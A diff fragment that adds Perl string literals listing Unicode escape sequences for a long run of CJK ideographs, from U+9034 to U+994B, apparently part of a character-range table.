+'\x{9034}\x{9035}\x{9036}\x{9038}\x{903A}\x{903B}\x{903C}\x{903D}\x{903E}' .
+'\x{903F}\x{9041}\x{9042}\x{9043}\x{9044}\x{9045}\x{9047}\x{9048}\x{9049}' .
+'\x{904A}\x{904B}\x{904C}\x{904D}\x{904E}\x{904F}\x{9050}\x{9051}\x{9052}' .
+'\x{9053}\x{9054}\x{9055}\x{9056}\x{9057}\x{9058}\x{9059}\x{905A}\x{905B}' .
+'\x{905C}\x{905D}\x{905E}\x{905F}\x{9060}\x{9061}\x{9062}\x{9063}\x{9064}' .
+'\x{9065}\x{9066}\x{9067}\x{9068}\x{9069}\x{906A}\x{906B}\x{906C}\x{906D}' .
+'\x{906E}\x{906F}\x{9070}\x{9071}\x{9072}\x{9073}\x{9074}\x{9075}\x{9076}' .
+'\x{9077}\x{9078}\x{9079}\x{907A}\x{907B}\x{907C}\x{907D}\x{907E}\x{907F}' .
+'\x{9080}\x{9081}\x{9082}\x{9083}\x{9084}\x{9085}\x{9086}\x{9087}\x{9088}' .
+'\x{9089}\x{908A}\x{908B}\x{908C}\x{908D}\x{908E}\x{908F}\x{9090}\x{9091}' .
+'\x{9092}\x{9093}\x{9094}\x{9095}\x{9096}\x{9097}\x{9098}\x{9099}\x{909A}' .
+'\x{909B}\x{909C}\x{909D}\x{909E}\x{909F}\x{90A0}\x{90A1}\x{90A2}\x{90A3}' .
+'\x{90A4}\x{90A5}\x{90A6}\x{90A7}\x{90A8}\x{90A9}\x{90AA}\x{90AC}\x{90AD}' .
+'\x{90AE}\x{90AF}\x{90B0}\x{90B1}\x{90B2}\x{90B3}\x{90B4}\x{90B5}\x{90B6}' .
+'\x{90B7}\x{90B8}\x{90B9}\x{90BA}\x{90BB}\x{90BC}\x{90BD}\x{90BE}\x{90BF}' .
+'\x{90C0}\x{90C1}\x{90C2}\x{90C3}\x{90C4}\x{90C5}\x{90C6}\x{90C7}\x{90C8}' .
+'\x{90C9}\x{90CA}\x{90CB}\x{90CE}\x{90CF}\x{90D0}\x{90D1}\x{90D3}\x{90D4}' .
+'\x{90D5}\x{90D6}\x{90D7}\x{90D8}\x{90D9}\x{90DA}\x{90DB}\x{90DC}\x{90DD}' .
+'\x{90DE}\x{90DF}\x{90E0}\x{90E1}\x{90E2}\x{90E3}\x{90E4}\x{90E5}\x{90E6}' .
+'\x{90E7}\x{90E8}\x{90E9}\x{90EA}\x{90EB}\x{90EC}\x{90ED}\x{90EE}\x{90EF}' .
+'\x{90F0}\x{90F1}\x{90F2}\x{90F3}\x{90F4}\x{90F5}\x{90F7}\x{90F8}\x{90F9}' .
+'\x{90FA}\x{90FB}\x{90FC}\x{90FD}\x{90FE}\x{90FF}\x{9100}\x{9101}\x{9102}' .
+'\x{9103}\x{9104}\x{9105}\x{9106}\x{9107}\x{9108}\x{9109}\x{910B}\x{910C}' .
+'\x{910D}\x{910E}\x{910F}\x{9110}\x{9111}\x{9112}\x{9113}\x{9114}\x{9115}' .
+'\x{9116}\x{9117}\x{9118}\x{9119}\x{911A}\x{911B}\x{911C}\x{911D}\x{911E}' .
+'\x{911F}\x{9120}\x{9121}\x{9122}\x{9123}\x{9124}\x{9125}\x{9126}\x{9127}' .
+'\x{9128}\x{9129}\x{912A}\x{912B}\x{912C}\x{912D}\x{912E}\x{912F}\x{9130}' .
+'\x{9131}\x{9132}\x{9133}\x{9134}\x{9135}\x{9136}\x{9137}\x{9138}\x{9139}' .
+'\x{913A}\x{913B}\x{913E}\x{913F}\x{9140}\x{9141}\x{9142}\x{9143}\x{9144}' .
+'\x{9145}\x{9146}\x{9147}\x{9148}\x{9149}\x{914A}\x{914B}\x{914C}\x{914D}' .
+'\x{914E}\x{914F}\x{9150}\x{9151}\x{9152}\x{9153}\x{9154}\x{9155}\x{9156}' .
+'\x{9157}\x{9158}\x{915A}\x{915B}\x{915C}\x{915D}\x{915E}\x{915F}\x{9160}' .
+'\x{9161}\x{9162}\x{9163}\x{9164}\x{9165}\x{9166}\x{9167}\x{9168}\x{9169}' .
+'\x{916A}\x{916B}\x{916C}\x{916D}\x{916E}\x{916F}\x{9170}\x{9171}\x{9172}' .
+'\x{9173}\x{9174}\x{9175}\x{9176}\x{9177}\x{9178}\x{9179}\x{917A}\x{917C}' .
+'\x{917D}\x{917E}\x{917F}\x{9180}\x{9181}\x{9182}\x{9183}\x{9184}\x{9185}' .
+'\x{9186}\x{9187}\x{9188}\x{9189}\x{918A}\x{918B}\x{918C}\x{918D}\x{918E}' .
+'\x{918F}\x{9190}\x{9191}\x{9192}\x{9193}\x{9194}\x{9196}\x{9199}\x{919A}' .
+'\x{919B}\x{919C}\x{919D}\x{919E}\x{919F}\x{91A0}\x{91A1}\x{91A2}\x{91A3}' .
+'\x{91A5}\x{91A6}\x{91A7}\x{91A8}\x{91AA}\x{91AB}\x{91AC}\x{91AD}\x{91AE}' .
+'\x{91AF}\x{91B0}\x{91B1}\x{91B2}\x{91B3}\x{91B4}\x{91B5}\x{91B6}\x{91B7}' .
+'\x{91B9}\x{91BA}\x{91BB}\x{91BC}\x{91BD}\x{91BE}\x{91C0}\x{91C1}\x{91C2}' .
+'\x{91C3}\x{91C5}\x{91C6}\x{91C7}\x{91C9}\x{91CA}\x{91CB}\x{91CC}\x{91CD}' .
+'\x{91CE}\x{91CF}\x{91D0}\x{91D1}\x{91D2}\x{91D3}\x{91D4}\x{91D5}\x{91D7}' .
+'\x{91D8}\x{91D9}\x{91DA}\x{91DB}\x{91DC}\x{91DD}\x{91DE}\x{91DF}\x{91E2}' .
+'\x{91E3}\x{91E4}\x{91E5}\x{91E6}\x{91E7}\x{91E8}\x{91E9}\x{91EA}\x{91EB}' .
+'\x{91EC}\x{91ED}\x{91EE}\x{91F0}\x{91F1}\x{91F2}\x{91F3}\x{91F4}\x{91F5}' .
+'\x{91F7}\x{91F8}\x{91F9}\x{91FA}\x{91FB}\x{91FD}\x{91FE}\x{91FF}\x{9200}' .
+'\x{9201}\x{9202}\x{9203}\x{9204}\x{9205}\x{9206}\x{9207}\x{9208}\x{9209}' .
+'\x{920A}\x{920B}\x{920C}\x{920D}\x{920E}\x{920F}\x{9210}\x{9211}\x{9212}' .
+'\x{9214}\x{9215}\x{9216}\x{9217}\x{9218}\x{9219}\x{921A}\x{921B}\x{921C}' .
+'\x{921D}\x{921E}\x{9220}\x{9221}\x{9223}\x{9224}\x{9225}\x{9226}\x{9227}' .
+'\x{9228}\x{9229}\x{922A}\x{922B}\x{922D}\x{922E}\x{922F}\x{9230}\x{9231}' .
+'\x{9232}\x{9233}\x{9234}\x{9235}\x{9236}\x{9237}\x{9238}\x{9239}\x{923A}' .
+'\x{923B}\x{923C}\x{923D}\x{923E}\x{923F}\x{9240}\x{9241}\x{9242}\x{9245}' .
+'\x{9246}\x{9247}\x{9248}\x{9249}\x{924A}\x{924B}\x{924C}\x{924D}\x{924E}' .
+'\x{924F}\x{9250}\x{9251}\x{9252}\x{9253}\x{9254}\x{9255}\x{9256}\x{9257}' .
+'\x{9258}\x{9259}\x{925A}\x{925B}\x{925C}\x{925D}\x{925E}\x{925F}\x{9260}' .
+'\x{9261}\x{9262}\x{9263}\x{9264}\x{9265}\x{9266}\x{9267}\x{9268}\x{926B}' .
+'\x{926C}\x{926D}\x{926E}\x{926F}\x{9270}\x{9272}\x{9273}\x{9274}\x{9275}' .
+'\x{9276}\x{9277}\x{9278}\x{9279}\x{927A}\x{927B}\x{927C}\x{927D}\x{927E}' .
+'\x{927F}\x{9280}\x{9282}\x{9283}\x{9285}\x{9286}\x{9287}\x{9288}\x{9289}' .
+'\x{928A}\x{928B}\x{928C}\x{928D}\x{928E}\x{928F}\x{9290}\x{9291}\x{9292}' .
+'\x{9293}\x{9294}\x{9295}\x{9296}\x{9297}\x{9298}\x{9299}\x{929A}\x{929B}' .
+'\x{929C}\x{929D}\x{929F}\x{92A0}\x{92A1}\x{92A2}\x{92A3}\x{92A4}\x{92A5}' .
+'\x{92A6}\x{92A7}\x{92A8}\x{92A9}\x{92AA}\x{92AB}\x{92AC}\x{92AD}\x{92AE}' .
+'\x{92AF}\x{92B0}\x{92B1}\x{92B2}\x{92B3}\x{92B4}\x{92B5}\x{92B6}\x{92B7}' .
+'\x{92B8}\x{92B9}\x{92BA}\x{92BB}\x{92BC}\x{92BE}\x{92BF}\x{92C0}\x{92C1}' .
+'\x{92C2}\x{92C3}\x{92C4}\x{92C5}\x{92C6}\x{92C7}\x{92C8}\x{92C9}\x{92CA}' .
+'\x{92CB}\x{92CC}\x{92CD}\x{92CE}\x{92CF}\x{92D0}\x{92D1}\x{92D2}\x{92D3}' .
+'\x{92D5}\x{92D6}\x{92D7}\x{92D8}\x{92D9}\x{92DA}\x{92DC}\x{92DD}\x{92DE}' .
+'\x{92DF}\x{92E0}\x{92E1}\x{92E3}\x{92E4}\x{92E5}\x{92E6}\x{92E7}\x{92E8}' .
+'\x{92E9}\x{92EA}\x{92EB}\x{92EC}\x{92ED}\x{92EE}\x{92EF}\x{92F0}\x{92F1}' .
+'\x{92F2}\x{92F3}\x{92F4}\x{92F5}\x{92F6}\x{92F7}\x{92F8}\x{92F9}\x{92FA}' .
+'\x{92FB}\x{92FC}\x{92FD}\x{92FE}\x{92FF}\x{9300}\x{9301}\x{9302}\x{9303}' .
+'\x{9304}\x{9305}\x{9306}\x{9307}\x{9308}\x{9309}\x{930A}\x{930B}\x{930C}' .
+'\x{930D}\x{930E}\x{930F}\x{9310}\x{9311}\x{9312}\x{9313}\x{9314}\x{9315}' .
+'\x{9316}\x{9317}\x{9318}\x{9319}\x{931A}\x{931B}\x{931D}\x{931E}\x{931F}' .
+'\x{9320}\x{9321}\x{9322}\x{9323}\x{9324}\x{9325}\x{9326}\x{9327}\x{9328}' .
+'\x{9329}\x{932A}\x{932B}\x{932D}\x{932E}\x{932F}\x{9332}\x{9333}\x{9334}' .
+'\x{9335}\x{9336}\x{9337}\x{9338}\x{9339}\x{933A}\x{933B}\x{933C}\x{933D}' .
+'\x{933E}\x{933F}\x{9340}\x{9341}\x{9342}\x{9343}\x{9344}\x{9345}\x{9346}' .
+'\x{9347}\x{9348}\x{9349}\x{934A}\x{934B}\x{934C}\x{934D}\x{934E}\x{934F}' .
+'\x{9350}\x{9351}\x{9352}\x{9353}\x{9354}\x{9355}\x{9356}\x{9357}\x{9358}' .
+'\x{9359}\x{935A}\x{935B}\x{935C}\x{935D}\x{935E}\x{935F}\x{9360}\x{9361}' .
+'\x{9363}\x{9364}\x{9365}\x{9366}\x{9367}\x{9369}\x{936A}\x{936C}\x{936D}' .
+'\x{936E}\x{9370}\x{9371}\x{9372}\x{9374}\x{9375}\x{9376}\x{9377}\x{9379}' .
+'\x{937A}\x{937B}\x{937C}\x{937D}\x{937E}\x{9380}\x{9382}\x{9383}\x{9384}' .
+'\x{9385}\x{9386}\x{9387}\x{9388}\x{9389}\x{938A}\x{938C}\x{938D}\x{938E}' .
+'\x{938F}\x{9390}\x{9391}\x{9392}\x{9393}\x{9394}\x{9395}\x{9396}\x{9397}' .
+'\x{9398}\x{9399}\x{939A}\x{939B}\x{939D}\x{939E}\x{939F}\x{93A1}\x{93A2}' .
+'\x{93A3}\x{93A4}\x{93A5}\x{93A6}\x{93A7}\x{93A8}\x{93A9}\x{93AA}\x{93AC}' .
+'\x{93AD}\x{93AE}\x{93AF}\x{93B0}\x{93B1}\x{93B2}\x{93B3}\x{93B4}\x{93B5}' .
+'\x{93B6}\x{93B7}\x{93B8}\x{93B9}\x{93BA}\x{93BC}\x{93BD}\x{93BE}\x{93BF}' .
+'\x{93C0}\x{93C1}\x{93C2}\x{93C3}\x{93C4}\x{93C5}\x{93C6}\x{93C7}\x{93C8}' .
+'\x{93C9}\x{93CA}\x{93CB}\x{93CC}\x{93CD}\x{93CE}\x{93CF}\x{93D0}\x{93D1}' .
+'\x{93D2}\x{93D3}\x{93D4}\x{93D5}\x{93D6}\x{93D7}\x{93D8}\x{93D9}\x{93DA}' .
+'\x{93DB}\x{93DC}\x{93DD}\x{93DE}\x{93DF}\x{93E1}\x{93E2}\x{93E3}\x{93E4}' .
+'\x{93E6}\x{93E7}\x{93E8}\x{93E9}\x{93EA}\x{93EB}\x{93EC}\x{93ED}\x{93EE}' .
+'\x{93EF}\x{93F0}\x{93F1}\x{93F2}\x{93F4}\x{93F5}\x{93F6}\x{93F7}\x{93F8}' .
+'\x{93F9}\x{93FA}\x{93FB}\x{93FC}\x{93FD}\x{93FE}\x{93FF}\x{9400}\x{9401}' .
+'\x{9403}\x{9404}\x{9405}\x{9406}\x{9407}\x{9408}\x{9409}\x{940A}\x{940B}' .
+'\x{940C}\x{940D}\x{940E}\x{940F}\x{9410}\x{9411}\x{9412}\x{9413}\x{9414}' .
+'\x{9415}\x{9416}\x{9418}\x{9419}\x{941B}\x{941D}\x{9420}\x{9422}\x{9423}' .
+'\x{9425}\x{9426}\x{9427}\x{9428}\x{9429}\x{942A}\x{942B}\x{942C}\x{942D}' .
+'\x{942E}\x{942F}\x{9430}\x{9431}\x{9432}\x{9433}\x{9434}\x{9435}\x{9436}' .
+'\x{9437}\x{9438}\x{9439}\x{943A}\x{943B}\x{943C}\x{943D}\x{943E}\x{943F}' .
+'\x{9440}\x{9441}\x{9442}\x{9444}\x{9445}\x{9446}\x{9447}\x{9448}\x{9449}' .
+'\x{944A}\x{944B}\x{944C}\x{944D}\x{944F}\x{9450}\x{9451}\x{9452}\x{9453}' .
+'\x{9454}\x{9455}\x{9456}\x{9457}\x{9458}\x{9459}\x{945B}\x{945C}\x{945D}' .
+'\x{945E}\x{945F}\x{9460}\x{9461}\x{9462}\x{9463}\x{9464}\x{9465}\x{9466}' .
+'\x{9467}\x{9468}\x{9469}\x{946A}\x{946B}\x{946D}\x{946E}\x{946F}\x{9470}' .
+'\x{9471}\x{9472}\x{9473}\x{9474}\x{9475}\x{9476}\x{9477}\x{9478}\x{9479}' .
+'\x{947A}\x{947C}\x{947D}\x{947E}\x{947F}\x{9480}\x{9481}\x{9482}\x{9483}' .
+'\x{9484}\x{9485}\x{9486}\x{9487}\x{9488}\x{9489}\x{948A}\x{948B}\x{948C}' .
+'\x{948D}\x{948E}\x{948F}\x{9490}\x{9491}\x{9492}\x{9493}\x{9494}\x{9495}' .
+'\x{9496}\x{9497}\x{9498}\x{9499}\x{949A}\x{949B}\x{949C}\x{949D}\x{949E}' .
+'\x{949F}\x{94A0}\x{94A1}\x{94A2}\x{94A3}\x{94A4}\x{94A5}\x{94A6}\x{94A7}' .
+'\x{94A8}\x{94A9}\x{94AA}\x{94AB}\x{94AC}\x{94AD}\x{94AE}\x{94AF}\x{94B0}' .
+'\x{94B1}\x{94B2}\x{94B3}\x{94B4}\x{94B5}\x{94B6}\x{94B7}\x{94B8}\x{94B9}' .
+'\x{94BA}\x{94BB}\x{94BC}\x{94BD}\x{94BE}\x{94BF}\x{94C0}\x{94C1}\x{94C2}' .
+'\x{94C3}\x{94C4}\x{94C5}\x{94C6}\x{94C7}\x{94C8}\x{94C9}\x{94CA}\x{94CB}' .
+'\x{94CC}\x{94CD}\x{94CE}\x{94CF}\x{94D0}\x{94D1}\x{94D2}\x{94D3}\x{94D4}' .
+'\x{94D5}\x{94D6}\x{94D7}\x{94D8}\x{94D9}\x{94DA}\x{94DB}\x{94DC}\x{94DD}' .
+'\x{94DE}\x{94DF}\x{94E0}\x{94E1}\x{94E2}\x{94E3}\x{94E4}\x{94E5}\x{94E6}' .
+'\x{94E7}\x{94E8}\x{94E9}\x{94EA}\x{94EB}\x{94EC}\x{94ED}\x{94EE}\x{94EF}' .
+'\x{94F0}\x{94F1}\x{94F2}\x{94F3}\x{94F4}\x{94F5}\x{94F6}\x{94F7}\x{94F8}' .
+'\x{94F9}\x{94FA}\x{94FB}\x{94FC}\x{94FD}\x{94FE}\x{94FF}\x{9500}\x{9501}' .
+'\x{9502}\x{9503}\x{9504}\x{9505}\x{9506}\x{9507}\x{9508}\x{9509}\x{950A}' .
+'\x{950B}\x{950C}\x{950D}\x{950E}\x{950F}\x{9510}\x{9511}\x{9512}\x{9513}' .
+'\x{9514}\x{9515}\x{9516}\x{9517}\x{9518}\x{9519}\x{951A}\x{951B}\x{951C}' .
+'\x{951D}\x{951E}\x{951F}\x{9520}\x{9521}\x{9522}\x{9523}\x{9524}\x{9525}' .
+'\x{9526}\x{9527}\x{9528}\x{9529}\x{952A}\x{952B}\x{952C}\x{952D}\x{952E}' .
+'\x{952F}\x{9530}\x{9531}\x{9532}\x{9533}\x{9534}\x{9535}\x{9536}\x{9537}' .
+'\x{9538}\x{9539}\x{953A}\x{953B}\x{953C}\x{953D}\x{953E}\x{953F}\x{9540}' .
+'\x{9541}\x{9542}\x{9543}\x{9544}\x{9545}\x{9546}\x{9547}\x{9548}\x{9549}' .
+'\x{954A}\x{954B}\x{954C}\x{954D}\x{954E}\x{954F}\x{9550}\x{9551}\x{9552}' .
+'\x{9553}\x{9554}\x{9555}\x{9556}\x{9557}\x{9558}\x{9559}\x{955A}\x{955B}' .
+'\x{955C}\x{955D}\x{955E}\x{955F}\x{9560}\x{9561}\x{9562}\x{9563}\x{9564}' .
+'\x{9565}\x{9566}\x{9567}\x{9568}\x{9569}\x{956A}\x{956B}\x{956C}\x{956D}' .
+'\x{956E}\x{956F}\x{9570}\x{9571}\x{9572}\x{9573}\x{9574}\x{9575}\x{9576}' .
+'\x{9577}\x{957A}\x{957B}\x{957C}\x{957D}\x{957F}\x{9580}\x{9581}\x{9582}' .
+'\x{9583}\x{9584}\x{9586}\x{9587}\x{9588}\x{9589}\x{958A}\x{958B}\x{958C}' .
+'\x{958D}\x{958E}\x{958F}\x{9590}\x{9591}\x{9592}\x{9593}\x{9594}\x{9595}' .
+'\x{9596}\x{9598}\x{9599}\x{959A}\x{959B}\x{959C}\x{959D}\x{959E}\x{959F}' .
+'\x{95A1}\x{95A2}\x{95A3}\x{95A4}\x{95A5}\x{95A6}\x{95A7}\x{95A8}\x{95A9}' .
+'\x{95AA}\x{95AB}\x{95AC}\x{95AD}\x{95AE}\x{95AF}\x{95B0}\x{95B1}\x{95B2}' .
+'\x{95B5}\x{95B6}\x{95B7}\x{95B9}\x{95BA}\x{95BB}\x{95BC}\x{95BD}\x{95BE}' .
+'\x{95BF}\x{95C0}\x{95C2}\x{95C3}\x{95C4}\x{95C5}\x{95C6}\x{95C7}\x{95C8}' .
+'\x{95C9}\x{95CA}\x{95CB}\x{95CC}\x{95CD}\x{95CE}\x{95CF}\x{95D0}\x{95D1}' .
+'\x{95D2}\x{95D3}\x{95D4}\x{95D5}\x{95D6}\x{95D7}\x{95D8}\x{95DA}\x{95DB}' .
+'\x{95DC}\x{95DE}\x{95DF}\x{95E0}\x{95E1}\x{95E2}\x{95E3}\x{95E4}\x{95E5}' .
+'\x{95E6}\x{95E7}\x{95E8}\x{95E9}\x{95EA}\x{95EB}\x{95EC}\x{95ED}\x{95EE}' .
+'\x{95EF}\x{95F0}\x{95F1}\x{95F2}\x{95F3}\x{95F4}\x{95F5}\x{95F6}\x{95F7}' .
+'\x{95F8}\x{95F9}\x{95FA}\x{95FB}\x{95FC}\x{95FD}\x{95FE}\x{95FF}\x{9600}' .
+'\x{9601}\x{9602}\x{9603}\x{9604}\x{9605}\x{9606}\x{9607}\x{9608}\x{9609}' .
+'\x{960A}\x{960B}\x{960C}\x{960D}\x{960E}\x{960F}\x{9610}\x{9611}\x{9612}' .
+'\x{9613}\x{9614}\x{9615}\x{9616}\x{9617}\x{9618}\x{9619}\x{961A}\x{961B}' .
+'\x{961C}\x{961D}\x{961E}\x{961F}\x{9620}\x{9621}\x{9622}\x{9623}\x{9624}' .
+'\x{9627}\x{9628}\x{962A}\x{962B}\x{962C}\x{962D}\x{962E}\x{962F}\x{9630}' .
+'\x{9631}\x{9632}\x{9633}\x{9634}\x{9635}\x{9636}\x{9637}\x{9638}\x{9639}' .
+'\x{963A}\x{963B}\x{963C}\x{963D}\x{963F}\x{9640}\x{9641}\x{9642}\x{9643}' .
+'\x{9644}\x{9645}\x{9646}\x{9647}\x{9648}\x{9649}\x{964A}\x{964B}\x{964C}' .
+'\x{964D}\x{964E}\x{964F}\x{9650}\x{9651}\x{9652}\x{9653}\x{9654}\x{9655}' .
+'\x{9658}\x{9659}\x{965A}\x{965B}\x{965C}\x{965D}\x{965E}\x{965F}\x{9660}' .
+'\x{9661}\x{9662}\x{9663}\x{9664}\x{9666}\x{9667}\x{9668}\x{9669}\x{966A}' .
+'\x{966B}\x{966C}\x{966D}\x{966E}\x{966F}\x{9670}\x{9671}\x{9672}\x{9673}' .
+'\x{9674}\x{9675}\x{9676}\x{9677}\x{9678}\x{967C}\x{967D}\x{967E}\x{9680}' .
+'\x{9683}\x{9684}\x{9685}\x{9686}\x{9687}\x{9688}\x{9689}\x{968A}\x{968B}' .
+'\x{968D}\x{968E}\x{968F}\x{9690}\x{9691}\x{9692}\x{9693}\x{9694}\x{9695}' .
+'\x{9697}\x{9698}\x{9699}\x{969B}\x{969C}\x{969E}\x{96A0}\x{96A1}\x{96A2}' .
+'\x{96A3}\x{96A4}\x{96A5}\x{96A6}\x{96A7}\x{96A8}\x{96A9}\x{96AA}\x{96AC}' .
+'\x{96AD}\x{96AE}\x{96B0}\x{96B1}\x{96B3}\x{96B4}\x{96B6}\x{96B7}\x{96B8}' .
+'\x{96B9}\x{96BA}\x{96BB}\x{96BC}\x{96BD}\x{96BE}\x{96BF}\x{96C0}\x{96C1}' .
+'\x{96C2}\x{96C3}\x{96C4}\x{96C5}\x{96C6}\x{96C7}\x{96C8}\x{96C9}\x{96CA}' .
+'\x{96CB}\x{96CC}\x{96CD}\x{96CE}\x{96CF}\x{96D0}\x{96D1}\x{96D2}\x{96D3}' .
+'\x{96D4}\x{96D5}\x{96D6}\x{96D7}\x{96D8}\x{96D9}\x{96DA}\x{96DB}\x{96DC}' .
+'\x{96DD}\x{96DE}\x{96DF}\x{96E0}\x{96E1}\x{96E2}\x{96E3}\x{96E5}\x{96E8}' .
+'\x{96E9}\x{96EA}\x{96EB}\x{96EC}\x{96ED}\x{96EE}\x{96EF}\x{96F0}\x{96F1}' .
+'\x{96F2}\x{96F3}\x{96F4}\x{96F5}\x{96F6}\x{96F7}\x{96F8}\x{96F9}\x{96FA}' .
+'\x{96FB}\x{96FD}\x{96FE}\x{96FF}\x{9700}\x{9701}\x{9702}\x{9703}\x{9704}' .
+'\x{9705}\x{9706}\x{9707}\x{9708}\x{9709}\x{970A}\x{970B}\x{970C}\x{970D}' .
+'\x{970E}\x{970F}\x{9710}\x{9711}\x{9712}\x{9713}\x{9715}\x{9716}\x{9718}' .
+'\x{9719}\x{971C}\x{971D}\x{971E}\x{971F}\x{9720}\x{9721}\x{9722}\x{9723}' .
+'\x{9724}\x{9725}\x{9726}\x{9727}\x{9728}\x{9729}\x{972A}\x{972B}\x{972C}' .
+'\x{972D}\x{972E}\x{972F}\x{9730}\x{9731}\x{9732}\x{9735}\x{9736}\x{9738}' .
+'\x{9739}\x{973A}\x{973B}\x{973C}\x{973D}\x{973E}\x{973F}\x{9742}\x{9743}' .
+'\x{9744}\x{9745}\x{9746}\x{9747}\x{9748}\x{9749}\x{974A}\x{974B}\x{974C}' .
+'\x{974E}\x{974F}\x{9750}\x{9751}\x{9752}\x{9753}\x{9754}\x{9755}\x{9756}' .
+'\x{9758}\x{9759}\x{975A}\x{975B}\x{975C}\x{975D}\x{975E}\x{975F}\x{9760}' .
+'\x{9761}\x{9762}\x{9765}\x{9766}\x{9767}\x{9768}\x{9769}\x{976A}\x{976B}' .
+'\x{976C}\x{976D}\x{976E}\x{976F}\x{9770}\x{9772}\x{9773}\x{9774}\x{9776}' .
+'\x{9777}\x{9778}\x{9779}\x{977A}\x{977B}\x{977C}\x{977D}\x{977E}\x{977F}' .
+'\x{9780}\x{9781}\x{9782}\x{9783}\x{9784}\x{9785}\x{9786}\x{9788}\x{978A}' .
+'\x{978B}\x{978C}\x{978D}\x{978E}\x{978F}\x{9790}\x{9791}\x{9792}\x{9793}' .
+'\x{9794}\x{9795}\x{9796}\x{9797}\x{9798}\x{9799}\x{979A}\x{979C}\x{979D}' .
+'\x{979E}\x{979F}\x{97A0}\x{97A1}\x{97A2}\x{97A3}\x{97A4}\x{97A5}\x{97A6}' .
+'\x{97A7}\x{97A8}\x{97AA}\x{97AB}\x{97AC}\x{97AD}\x{97AE}\x{97AF}\x{97B2}' .
+'\x{97B3}\x{97B4}\x{97B6}\x{97B7}\x{97B8}\x{97B9}\x{97BA}\x{97BB}\x{97BC}' .
+'\x{97BD}\x{97BF}\x{97C1}\x{97C2}\x{97C3}\x{97C4}\x{97C5}\x{97C6}\x{97C7}' .
+'\x{97C8}\x{97C9}\x{97CA}\x{97CB}\x{97CC}\x{97CD}\x{97CE}\x{97CF}\x{97D0}' .
+'\x{97D1}\x{97D3}\x{97D4}\x{97D5}\x{97D6}\x{97D7}\x{97D8}\x{97D9}\x{97DA}' .
+'\x{97DB}\x{97DC}\x{97DD}\x{97DE}\x{97DF}\x{97E0}\x{97E1}\x{97E2}\x{97E3}' .
+'\x{97E4}\x{97E5}\x{97E6}\x{97E7}\x{97E8}\x{97E9}\x{97EA}\x{97EB}\x{97EC}' .
+'\x{97ED}\x{97EE}\x{97EF}\x{97F0}\x{97F1}\x{97F2}\x{97F3}\x{97F4}\x{97F5}' .
+'\x{97F6}\x{97F7}\x{97F8}\x{97F9}\x{97FA}\x{97FB}\x{97FD}\x{97FE}\x{97FF}' .
+'\x{9800}\x{9801}\x{9802}\x{9803}\x{9804}\x{9805}\x{9806}\x{9807}\x{9808}' .
+'\x{9809}\x{980A}\x{980B}\x{980C}\x{980D}\x{980E}\x{980F}\x{9810}\x{9811}' .
+'\x{9812}\x{9813}\x{9814}\x{9815}\x{9816}\x{9817}\x{9818}\x{9819}\x{981A}' .
+'\x{981B}\x{981C}\x{981D}\x{981E}\x{9820}\x{9821}\x{9822}\x{9823}\x{9824}' .
+'\x{9826}\x{9827}\x{9828}\x{9829}\x{982B}\x{982D}\x{982E}\x{982F}\x{9830}' .
+'\x{9831}\x{9832}\x{9834}\x{9835}\x{9836}\x{9837}\x{9838}\x{9839}\x{983B}' .
+'\x{983C}\x{983D}\x{983F}\x{9840}\x{9841}\x{9843}\x{9844}\x{9845}\x{9846}' .
+'\x{9848}\x{9849}\x{984A}\x{984C}\x{984D}\x{984E}\x{984F}\x{9850}\x{9851}' .
+'\x{9852}\x{9853}\x{9854}\x{9855}\x{9857}\x{9858}\x{9859}\x{985A}\x{985B}' .
+'\x{985C}\x{985D}\x{985E}\x{985F}\x{9860}\x{9861}\x{9862}\x{9863}\x{9864}' .
+'\x{9865}\x{9867}\x{9869}\x{986A}\x{986B}\x{986C}\x{986D}\x{986E}\x{986F}' .
+'\x{9870}\x{9871}\x{9872}\x{9873}\x{9874}\x{9875}\x{9876}\x{9877}\x{9878}' .
+'\x{9879}\x{987A}\x{987B}\x{987C}\x{987D}\x{987E}\x{987F}\x{9880}\x{9881}' .
+'\x{9882}\x{9883}\x{9884}\x{9885}\x{9886}\x{9887}\x{9888}\x{9889}\x{988A}' .
+'\x{988B}\x{988C}\x{988D}\x{988E}\x{988F}\x{9890}\x{9891}\x{9892}\x{9893}' .
+'\x{9894}\x{9895}\x{9896}\x{9897}\x{9898}\x{9899}\x{989A}\x{989B}\x{989C}' .
+'\x{989D}\x{989E}\x{989F}\x{98A0}\x{98A1}\x{98A2}\x{98A3}\x{98A4}\x{98A5}' .
+'\x{98A6}\x{98A7}\x{98A8}\x{98A9}\x{98AA}\x{98AB}\x{98AC}\x{98AD}\x{98AE}' .
+'\x{98AF}\x{98B0}\x{98B1}\x{98B2}\x{98B3}\x{98B4}\x{98B5}\x{98B6}\x{98B8}' .
+'\x{98B9}\x{98BA}\x{98BB}\x{98BC}\x{98BD}\x{98BE}\x{98BF}\x{98C0}\x{98C1}' .
+'\x{98C2}\x{98C3}\x{98C4}\x{98C5}\x{98C6}\x{98C8}\x{98C9}\x{98CB}\x{98CC}' .
+'\x{98CD}\x{98CE}\x{98CF}\x{98D0}\x{98D1}\x{98D2}\x{98D3}\x{98D4}\x{98D5}' .
+'\x{98D6}\x{98D7}\x{98D8}\x{98D9}\x{98DA}\x{98DB}\x{98DC}\x{98DD}\x{98DE}' .
+'\x{98DF}\x{98E0}\x{98E2}\x{98E3}\x{98E5}\x{98E6}\x{98E7}\x{98E8}\x{98E9}' .
+'\x{98EA}\x{98EB}\x{98ED}\x{98EF}\x{98F0}\x{98F2}\x{98F3}\x{98F4}\x{98F5}' .
+'\x{98F6}\x{98F7}\x{98F9}\x{98FA}\x{98FC}\x{98FD}\x{98FE}\x{98FF}\x{9900}' .
+'\x{9901}\x{9902}\x{9903}\x{9904}\x{9905}\x{9906}\x{9907}\x{9908}\x{9909}' .
+'\x{990A}\x{990B}\x{990C}\x{990D}\x{990E}\x{990F}\x{9910}\x{9911}\x{9912}' .
+'\x{9913}\x{9914}\x{9915}\x{9916}\x{9917}\x{9918}\x{991A}\x{991B}\x{991C}' .
+'\x{991D}\x{991E}\x{991F}\x{9920}\x{9921}\x{9922}\x{9923}\x{9924}\x{9925}' .
+'\x{9926}\x{9927}\x{9928}\x{9929}\x{992A}\x{992B}\x{992C}\x{992D}\x{992E}' .
+'\x{992F}\x{9930}\x{9931}\x{9932}\x{9933}\x{9934}\x{9935}\x{9936}\x{9937}' .
+'\x{9938}\x{9939}\x{993A}\x{993C}\x{993D}\x{993E}\x{993F}\x{9940}\x{9941}' .
+'\x{9942}\x{9943}\x{9945}\x{9946}\x{9947}\x{9948}\x{9949}\x{994A}\x{994B}' .
